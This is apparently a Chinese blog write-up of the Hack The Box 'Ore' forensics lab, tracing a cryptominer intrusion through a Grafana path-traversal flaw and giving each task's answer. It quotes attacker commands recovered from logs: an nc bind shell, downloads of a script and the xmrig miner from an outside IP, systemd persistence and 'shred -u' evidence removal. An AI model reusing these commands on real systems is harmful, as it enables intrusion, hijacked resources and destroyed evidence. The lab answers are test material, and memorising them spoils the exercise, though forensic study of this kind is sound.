【HTB】Sherlocks Ore 蓝队 medium

task 1

问题:哪个 CVE 导致了 EC2 的最初泄露?


# 文件放在 ~/htb/Ore 目录
cd usr/share/grafana
ls -la
cat VERSION		# 8.2.0

搜索 grafana 8.2.0 exploit 可得 CVE-2021-43798

答案:CVE-2021-43798



task 2

问题:请详细说明针对我们组织的威胁行为者 (TA) 使用的所有恶意 IP 地址。


查看 grafana 用户的历史命令文件

cd usr/share/grafana
ls -la
cat .bash_history

如何确定哪些是管理人员使用的命令?哪些是攻击者使用的命令?

我们可以看到下列命令

whoami
pwd
ls
sudo -l

我们可以看见攻击者检查了以下目录/文件

  • /etc/shadow
  • /etc/passwd
  • /opt/automation/updater.sh
  • /var/log/syslog

其中较为特殊的命令如下,包含:篡改updater.sh脚本命令、执行crontab -e命令、nc连接外部地址

vi updater.sh 
nano updater.sh
crontab -e
nc -L -d -p 60000 -t -e /bin/bash
nc 44.204.18.94
nc 44.204.18.94 80

CVE-2021-43798 指纹,参考:https://github.com/M0ge/CVE-2021-43798-grafana_fileread

根据指纹查找日志

cd data/log
# 指纹一:../../../../
cat *|grep ../../../../|grep 200|awk -F '/' '{print $NF}'|cut -d ' ' -f1|sort|uniq
# passwd、defaults.ini、sample.ini
# 其中 passwd 是用来测试

# 指纹二:/etc/passwd
cat * |grep -i '/etc/passwd'|grep 200|awk -F 'remote_addr=' '{print $2}'|cut -d ' ' -f1
# 86.5.206.121、95.181.232.32、195.80.150.137
# 其中 86.5.206.121 是内部测试的 IP

答案:44.204.18.94,95.181.232.32,195.80.150.137


task 3

问题:TA 使用哪个帐户向主机操作系统进行身份验证?


查看另一个压缩包

# 文件放在 ~/htb/Ore 目录
cd ~/htb/Ore
tar -zxvf catscale_ip-172-31-13-147-20221124-1501.tar.gz
chmod +x catscale_out	# 没有权限,打不开
cd catscale_out/Logs
tar -zxvf ip-172-31-13-147-20221124-1501-var-log.tar.gz
cd var/log

# 解压 auth.log
gunzip auth.log.2.gz
cat auth.log* |grep -i ' sudo:' 
# 可以找到下列这条信息
# Nov 23 11:25:39 ip-172-31-60-25 sudo: pam_unix(sudo:auth): auth could not identify password for [grafana]

答案:grafana



task 4

问题:为了提升权限并以“root”身份运行挖矿服务,TA 修改了哪个文件?


task 3 提供攻击者登录 grafana 证明

task 2 提供攻击者登录后使用的命令,其中不断篡改updater.sh文件

我们进一步查看 auth.log 中执行的命令

cat auth.log* |grep -v session|grep -i ' sudo:'|cut -d ';' -f4|grep  COMMAND=|uniq
# 会发现执行了三个可疑脚本
# COMMAND=/bin/su
# COMMAND=./updater.sh
# COMMAND=./injector.sh
# COMMAND=/bin/ps aux
# COMMAND=/bin/su
# COMMAND=./Cat-Scale.sh

答案:updater.sh


task 5-7、13

task 5 问题:TA使用哪个程序下载injector.sh脚本?

task 6 问题:加密挖掘二进制文件和配置文件最初下载到哪里?

task 7 问题:TA 使用哪个程序下载加密挖掘二进制文件和配置文件?

task 13 问题:我们无法通过取证方式恢复“injector.sh”脚本进行分析。我们认为助教可能运行了命令来阻止我们恢复文件。TA执行了什么命令?


查看 syslog

# 解压所有 syslog
gunzip syslog.2.gz syslog.3.gz syslog.4.gz syslog.5.gz syslog.6.gz syslog.7.gz

# 查找恶意 IP 相关命令
cat syslog*|grep 44.204.18.94 |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# wget http://44.204.18.94:80/injector.sh
# curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json
# nc 44.204.18.94 80

# 查找恶意脚本相关命令
cat syslog*|grep injector.sh |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'|uniq
# wget http://44.204.18.94:80/injector.sh
# chmod +x injector.sh
# sudo ./injector.sh
# /bin/bash ./injector.sh
# shred -u ./injector.sh

# 查找恶意脚本路径
cat syslog*|grep injector.sh |awk -F '<Data Name="TargetFilename">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# /opt/automation/injector.sh

task 5 答案:wget

task 6 答案:/opt/automation/

task 7 答案:curl

task 13 答案:shred -u ./injector.sh



task 8

问题:我们需要确认 SOC 团队开始收集文物的确切时间,因为报告中未包含该时间。他们使用与我们位于林肯的系统管理员相同的面向公众的 IP 地址。


task 4 中说明Cat-Scale.sh是 linux 取证脚本

cat syslog*|grep Cat-Scale.sh|awk -F ' ' '{print $1,$2,$3}'|head -n 1
# Nov 24 15:01:00

答案:24/11/2022 15:01:00


task 9

问题:请确认系统管理员在某些Grafana配置文件中留下的密码。


task 2 中,根据指纹查找日志,得到sample.iniconfdefaults.ini

cd usr/share/grafana/conf
cat sample.ini|grep -vE '#|^$'|grep pass -B 1		# admin:admin
cat confdefaults.ini|grep -vE '#|^$'|grep pass -B 1		# admin:f0rela96789!

答案:f0rela96789!



task 10、12

task 10 问题:xmrig 启动时挖掘线程值设置为多少?

task 12 问题:我们无法在原始下载位置找到加密挖掘二进制文件和配置文件。助教将它们移至文件系统的何处?


# 查找恶意进程的文件路径
cat syslog*|grep xmrig |awk -F '<Data Name="TargetFilename">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# /opt/automation/xmrig
# /opt/automation/xmrig.service

# 查找恶意进程相关命令
cat syslog*|grep xmrig |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json
# touch xmrig.service
# chmod 777 xmrig config.json
# chmod 644 xmrig.service
# mv xmrig config.json /usr/share/.logstxt/
# mv xmrig.service /etc/systemd/system/
# systemctl enable --now xmrig --quiet
# /usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=0
# sh -c /sbin/modprobe msr allow_writes=on &gt; /dev/null 2&gt;&amp;1# 

task 10 答案:0

task 12 答案:/usr/share/.logstxt/



task 11

问题:我们的 CISO 要求提供有关该矿池可能使用的更多详细信息。请确认TA使用的是哪个(如果有)矿池。


查看进程与网络

# 文件放在 ~/htb/Ore 目录
cd ~/htb/Ore/catscale_out/Process_and_Network
cat  ip-172-31-13-147-20221124-1501-ss-anepo.txt|grep xmrig
# u_strESTAB  0    0      * 20361    * 21634     users:(("xmrig",pid=1089,fd=2),("xmrig",pid=1089,fd=1)) -->       
# tcp  ESTAB  0    0   172.31.13.147:56150   141.95.126.31:10191  users:(("xmrig",pid=1089,fd=13)) timer:(keepalive,18sec,0) ino:22930 sk:a9 <->

恶意进程xmrig连接外部IP:141.95.126.31:10191

上传到下列在线威胁情报中心分析平台(微步怎么需要登录使用了啊)

task 14

问题:我们的 IT 管理员为 TA 修改的脚本创建的 cronjob 多久运行一次?

cd ~/htb/Ore/catscale_out/Persistence/ 
tar -zxvf ip-172-31-13-147-20221124-1501-cron-folder.tar.gz 
cd var/spool/cron/crontabs
cat root
# 30 8 * * * /opt/automation/updater.sh

答案:daily - 08:30

posted @ 2024-03-16 16:44  kazie  阅读(37)  评论(0编辑  收藏  举报